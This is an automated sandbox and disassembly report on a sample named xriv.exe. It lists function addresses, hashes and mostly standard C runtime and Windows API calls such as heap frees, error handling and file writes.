Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 0b06f1b08ddedca378ce9d62fea00c6da14a9d683ac98b172f0afeaabfc31062
Instruction ID: 1aa24f85ebbaff58359312b74408551674b74af23792a0fcbcbd721f094fe11d
Opcode Fuzzy Hash: 0b06f1b08ddedca378ce9d62fea00c6da14a9d683ac98b172f0afeaabfc31062
Instruction Fuzzy Hash: 0121E772A41220BBEB35AB68DC45A5E37DE9F557A0F250225FD06A7690D730EF008FE0

Uniqueness

Uniqueness Score: -1.00%

Function 0019143D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00191405: _free.LIBCMT ref: 0019142A

_free.LIBCMT ref: 0019148B

Part of subcall function 0018D653: HeapFree.KERNEL32(00000000,00000000,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?), ref: 0018D669
Part of subcall function 0018D653: GetLastError.KERNEL32(?,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?,?), ref: 0018D67B

_free.LIBCMT ref: 00191496
_free.LIBCMT ref: 001914A1
_free.LIBCMT ref: 001914F5
_free.LIBCMT ref: 00191500
_free.LIBCMT ref: 0019150B
_free.LIBCMT ref: 00191516

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction ID: c49994700b5adf867bde0ffc77d996a7c6704759e52649efabf60b92dd350af0
Opcode Fuzzy Hash: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction Fuzzy Hash: 45118472540709B6DB20BFB1DC07FCB77AC9F14701F414815B29DAB092E728B685CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00192AF8 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00175140,00000000), ref: 00192B40
__fassign.LIBCMT ref: 00192D1F
__fassign.LIBCMT ref: 00192D3C
WriteFile.KERNEL32(?,00175140,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00192D84
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00192DC4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00192E70

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 957392c89d5abce464096c0d1765a1c8d4e231d0522405a1dbfd59374b4e7f6a
Instruction ID: 712793390fb2478fa1fc80df1ea39aa72efccfddc89344b2016c28490bb1a37f
Opcode Fuzzy Hash: 957392c89d5abce464096c0d1765a1c8d4e231d0522405a1dbfd59374b4e7f6a
Instruction Fuzzy Hash: 56D16A75D00258AFCF15CFA8C8809EDBBB5BF49314F28416AE856BB252D731AE46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00188890 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00188887,00188476,00187AC4), ref: 0018889E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001888AC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001888C5
SetLastError.KERNEL32(00000000,00188887,00188476,00187AC4), ref: 00188917

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: abb7cc7b063b5d7207de943353a356ad4da009fdf729c73ed519e1b19a97227f
Instruction ID: b290cc6e1cc0bc4f6a6e7a2de8f3ac274c004a37e06f484062357b9a9e56d6dc
Opcode Fuzzy Hash: abb7cc7b063b5d7207de943353a356ad4da009fdf729c73ed519e1b19a97227f
Instruction Fuzzy Hash: 7201F732A1A7115FA7293B74AC85A3B2794EF527F4760022AF520428E1EF214E445F81

Uniqueness

Uniqueness Score: -1.00%

Function 0019002E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 00190033

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-4106172500
Opcode ID: 1d6252b43bcaa5b7eb8b04e4332a79c8202e8afff372c283523e6b85840a92d6
Instruction ID: b3ad7c786f3ead8611c6547d1e8409cb97816e856e11656074f1eb77d750cdfb
Opcode Fuzzy Hash: 1d6252b43bcaa5b7eb8b04e4332a79c8202e8afff372c283523e6b85840a92d6
Instruction Fuzzy Hash: E9210471204205BFDF21BF658C80E6B77ADEF183A87144114FA1993251EB31ED408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0018B476 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0018B4B8

Strings

.exe, xrefs: 0018B4C5
.bat, xrefs: 0018B4E7
.com, xrefs: 0018B4F8
.cmd, xrefs: 0018B4D6

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 47862ae4308d20b5fca48c598bddeb85252e7611ffb6b110e64311455471c15a
Instruction ID: 0af7a7a4675c57b9bba871adf9c08b5637262fed70c0490fa7a9967425a50fd5
Opcode Fuzzy Hash: 47862ae4308d20b5fca48c598bddeb85252e7611ffb6b110e64311455471c15a
Instruction Fuzzy Hash: 9901963BA0862535AB143019AC4266767ED9BD2BB072A002EF948F72C2EF55DE434B91

Uniqueness

Uniqueness Score: -1.00%

Function 00189937 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00189987

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 49a41b3f68a686d8293960611d82107e7c6d8bb0840717e3b8b3b25ae0e5c55a
Instruction ID: dad9800df9d601c90322554df2b99fed01daa0142189572b301c92713cc42d89
Opcode Fuzzy Hash: 49a41b3f68a686d8293960611d82107e7c6d8bb0840717e3b8b3b25ae0e5c55a
Instruction Fuzzy Hash: B6119B32E01221ABDF31AB25DC84A7A37949F057B8B190519F905A7290D730EE40CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 0018A9E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0018A9D8,0018E000,?,0018A9A0,0018AF26,?,0018E000), ref: 0018A9F8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0018AA0B
FreeLibrary.KERNEL32(00000000,?,?,0018A9D8,0018E000,?,0018A9A0,0018AF26,?,0018E000), ref: 0018AA2E

Strings

mscoree.dll, xrefs: 0018A9F1
CorExitProcess, xrefs: 0018AA03

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5dfbd547b658b05efa4d982ec7de94cdacee094aa09fd0e2a763b08c33621c9c
Instruction ID: 001a1e28a4497d6ab8bd25cf4a7e5f70a6cebb3cb9abb67cc964073175cf2cd9
Opcode Fuzzy Hash: 5dfbd547b658b05efa4d982ec7de94cdacee094aa09fd0e2a763b08c33621c9c
Instruction Fuzzy Hash: 43F08C30601218FBEB15EB50DE09B9E7FA9EF04B56F140066B500E24A0DB748F41DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00196069 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0101F658,0101F658,?,7FFFFFFF,?,?,00196325,0101F658,0101F658,?,0101F658,?,?,?,?,0101F658), ref: 0019610C
__alloca_probe_16.LIBCMT ref: 001961C2
__alloca_probe_16.LIBCMT ref: 00196258
__freea.LIBCMT ref: 001962C3
__freea.LIBCMT ref: 001962CF

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 73f8c1502d69d74d7be92b019683acb1481958f4ce955b02191c6649a0eed0a1
Instruction ID: 307ed539b4121dcf85cb8c42409a766544712b1c32a5755b015557668a3aa977
Opcode Fuzzy Hash: 73f8c1502d69d74d7be92b019683acb1481958f4ce955b02191c6649a0eed0a1
Instruction Fuzzy Hash: 4981A072D0021AABDF219FA4CC81AEE7BB9EF5A754F190169F804A7281D725DD40CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00194994 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00194A18
__alloca_probe_16.LIBCMT ref: 00194ADE
__freea.LIBCMT ref: 00194B4A

Part of subcall function 0018DB3C: RtlAllocateHeap.NTDLL(00000000,?,?,?,00188272,?,?,?,?,?,001720C3,?,?), ref: 0018DB6E

__freea.LIBCMT ref: 00194B53
__freea.LIBCMT ref: 00194B76

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 0226168a047d3cb8334d603df2678791a917db00e5b28933b559204a72e3165d
Instruction ID: c868f2fae7bb84f3fa9e7098edfa62d21b538441215f802c7daea71b21fe389d
Opcode Fuzzy Hash: 0226168a047d3cb8334d603df2678791a917db00e5b28933b559204a72e3165d
Instruction Fuzzy Hash: E651E172600206AFEF259F609C41FBB77A9DF55764F1A0128FC0A97140EB30DD428BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0018B1AE Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,0018B0E0), ref: 0018B1D0
GetFileInformationByHandle.KERNEL32(?,?), ref: 0018B22A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0018B0E0,?,000000FF,00000000,00000000), ref: 0018B2B8
__dosmaperr.LIBCMT ref: 0018B2BF
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0018B2FC

Part of subcall function 0018B524: __dosmaperr.LIBCMT ref: 0018B559

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: f1753e560012473ddc923ce89d9605f1c2935cb6b50bda42f07b34c8a85a515d
Instruction ID: 979ea93aa5434a127f278a0b24c31b5eeb4dab187d05b3aba60da66cf33eaa79
Opcode Fuzzy Hash: f1753e560012473ddc923ce89d9605f1c2935cb6b50bda42f07b34c8a85a515d
Instruction Fuzzy Hash: E1413A75904604ABDB24EFB5D8859AFBBF9FF89300B10452AF856D3611EB30AA44CF21

Uniqueness

Uniqueness Score: -1.00%

Function 0019139C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001913B4

Part of subcall function 0018D653: HeapFree.KERNEL32(00000000,00000000,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?), ref: 0018D669
Part of subcall function 0018D653: GetLastError.KERNEL32(?,?,0019142F,?,00000000,?,?,?,00191456,?,00000007,?,?,00191858,?,?), ref: 0018D67B

_free.LIBCMT ref: 001913C6
_free.LIBCMT ref: 001913D8
_free.LIBCMT ref: 001913EA
_free.LIBCMT ref: 001913FC

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dfbe1e52c41cbd527274d144532443debe0fd488167f7c6b3b8b296330c97dc8
Instruction ID: 4d19103a88fcd6c2df441021d9bf0a0f7dadc7eb4c2ba0dfbc937cb7158959ce
Opcode Fuzzy Hash: dfbe1e52c41cbd527274d144532443debe0fd488167f7c6b3b8b296330c97dc8
Instruction Fuzzy Hash: A4F0FF7250420677CA20EF69F482C1A73F9BB157647B44806F45DD7981DB30FEC0CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0018FA69 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0018FC03

Strings

*?, xrefs: 0018FAAC

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction ID: 56393b2a189caf40a6f5e8ae8775c5ec3d6b72f6b983b03aa0aaf92011101d06
Opcode Fuzzy Hash: 7496f51c3f35c99317c8ac37739540d6bea978ec628f8cc924bc48588b70b313
Instruction Fuzzy Hash: 3A611976D002199FDB14EFA9C8819EDBBF5EF58310B25816AE815E7340E771AF428F90

Uniqueness

Uniqueness Score: -1.00%

Function 00188970 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00188A37
___AdjustPointer.LIBCMT ref: 00188A5A
___AdjustPointer.LIBCMT ref: 00188AF6

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1ea0d0d1e7a1c628ad23eb467f1d355d301d849bf2df3c97c881e4165ca00561
Instruction ID: 27f01ddb112c3371b76873627e7f294292c5114897a13dc8a0e1118419e5b3f4
Opcode Fuzzy Hash: 1ea0d0d1e7a1c628ad23eb467f1d355d301d849bf2df3c97c881e4165ca00561
Instruction Fuzzy Hash: 3151BF72A00202AFDB28AF14D841B7AB7A4FF50315F68452EE941576D1EB31EF80CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00174D10 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,5D32641E,00000000), ref: 00174D89
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00174DF0
GetProcAddress.KERNEL32(00000000), ref: 00174DF7

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: c197a443600aa8cb1af619f4f0f0dacd26fd76f38873af8a511c742ca73d50c1
Instruction ID: 866fb276093567d5df49f8435335fbb9b39722bd4256827864e6e29827115b26
Opcode Fuzzy Hash: c197a443600aa8cb1af619f4f0f0dacd26fd76f38873af8a511c742ca73d50c1
Instruction Fuzzy Hash: 0651E6719002189BEB14EF68CD897EDBB75FB55310F508299E419A72C1EF359EC08F91

Uniqueness

Uniqueness Score: -1.00%

Function 00194FCE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0019509E
_free.LIBCMT ref: 001950C7
SetEndOfFile.KERNEL32(00000000,001925FD,00000000,0018D4F0,?,?,?,?,?,?,?,001925FD,0018D4F0,00000000), ref: 001950F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,001925FD,0018D4F0,00000000,?,?,?,?,00000000), ref: 00195115

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 807ea7518681a50f1b9345fc36e6efc9d5e3fe771973a0feac39e4ce08f684b7
Instruction ID: 3f33f4717683efe94210553c03a05655c209a5a384864d642e5b5396241734ed
Opcode Fuzzy Hash: 807ea7518681a50f1b9345fc36e6efc9d5e3fe771973a0feac39e4ce08f684b7
Instruction Fuzzy Hash: 2041B672900A059BDF12BFA8DC46B9E37B7AF54360F2C0611F915F7292EB34D9418BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0018F99A Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0018AE0F: _free.LIBCMT ref: 0018AE1D

Part of subcall function 00190971: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00194B40,?,00000000,00000000), ref: 00190A13

GetLastError.KERNEL32 ref: 0018FA02
__dosmaperr.LIBCMT ref: 0018FA09
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0018FA48
__dosmaperr.LIBCMT ref: 0018FA4F

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 6644a1b5e663845e6060a4013eb0154f661e57c4ae0785a52250b7b254eb067c
Instruction ID: 6df1fd1fb1669cbe041e1ee60007e1568f8992a2d38fb168770b3e3859923763
Opcode Fuzzy Hash: 6644a1b5e663845e6060a4013eb0154f661e57c4ae0785a52250b7b254eb067c
Instruction Fuzzy Hash: BC21F172604209BF9B14BF658C8192BB7ADEF54378310453DF91987241EB30EE018FA0

Uniqueness

Uniqueness Score: -1.00%

Function 0018DF44 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0018AD8D,00000000,?,?,?,0018AF26,?), ref: 0018DF49
_free.LIBCMT ref: 0018DFA6
_free.LIBCMT ref: 0018DFDC
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,0018AF26,?), ref: 0018DFE7

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cef6324934d55cf9f2d6c912966200ea8b73f7899508b3ef19c7143077751bf6
Instruction ID: 5364248c330b167797ceb8d3df7f7505931f5c62b2cda2894b6ffc5bf0c1c05e
Opcode Fuzzy Hash: cef6324934d55cf9f2d6c912966200ea8b73f7899508b3ef19c7143077751bf6
Instruction Fuzzy Hash: 4A11A3323087112AC6103774BC85D2A27EA9BD2774B250224F22AC66D1DF318E93AF50

Uniqueness

Uniqueness Score: -1.00%

Function 0018E09B Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0018B7F5,0018DB7F,?,?,00188272,?,?,?,?,?,001720C3,?,?), ref: 0018E0A0
_free.LIBCMT ref: 0018E0FD
_free.LIBCMT ref: 0018E133
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00188272,?,?,?,?,?,001720C3,?,?), ref: 0018E13E

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2c3e49b835ea12997debc29a5b1d4e17638cfc5d7d2de65e316ace0b92828a8b
